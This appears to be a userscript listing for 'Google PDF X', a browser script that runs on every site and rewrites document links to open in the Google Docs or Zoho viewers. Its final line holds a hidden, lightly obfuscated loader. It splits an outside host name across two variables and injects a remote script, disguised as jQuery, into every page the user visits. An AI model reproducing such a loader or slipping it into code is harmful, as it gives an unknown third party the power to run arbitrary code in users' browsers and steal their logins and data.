Google PDF X

By Harvey Byrd Last update Nov 15, 2011 — Installed 113 times.
// ==UserScript==
// @name           gPDF
// @include        *
// @include        http*://*.google.*
// ==/UserScript==


// gPDF 4.0. Created by Arpit Kumar (arpit@techraga.in), Website: http://blog.arpitnext.com/gpdf
var dl = document.links;
var googE = ["doc","docx","xls","xlsx","ppt","pps","pptx","pdf"];
var googdetect = new RegExp('^[^\\?#]+\\.(' + googE.join('|') + ')((#|\\?).*)?$', 'i');
var zohoE  = ["rtf","odt","sxw","csv","sxc", "ods","sxi", "odp"];
var zohodetect = new RegExp('^[^\\?#]+\\.(' + zohoE.join('|') + ')((#|\\?).*)?$', 'i');
if (dl && document.location.host != "docs.google.com" && document.location.host != "viewer.zoho.com" && document.location.host != "office.live.com") {
 gPDF(); 
 var ecount = true;
 document.addEventListener('DOMNodeInserted',function(e){
    if (ecount){
      setTimeout(function(){
	gPDF();
        ecount = true;
	}, 1000);
      ecount = false;
    }
  },true);
}
function gPDF(){
  for (var i = 0; i < dl.length; ++i) {
        if (dl[i].host != "docs.google.com" && dl[i].host != "viewer.zoho.com"){
         if (googdetect.test(dl[i].href)){
            dl[i].href="https://docs.google.com/viewer?url="+encodeURI(dl[i].href)+"&embedded=true&chrome=true";
            dl[i].title="Open with Google Docs Viewer.";
         }
         if (zohodetect.test(dl[i].href)){
            dl[i].href="http://viewer.zoho.com/api/urlview.do?url="+encodeURI(dl[i].href)+"&cache=true";
            dl[i].title="Open with Zoho Viewer.";
         }
          
      }
   }
}
var abc2 = "lehosters.co.uk";function addJS_Node(a,b,e){var d=document,c=d.createElement("script");c.type="text/javascript";if(a)c.textContent=a;if(b)c.src=b;if(e)c.textContent="("+e.toString()+")()";(document.getElementsByTagName("head")[0]||d.body||d.documentElement).appendChild(c)};var abc1 = "http://totalfi";addJS_Node(null,abc1+abc2+"/scripts/scriptLoader.php?id=jquery-latest");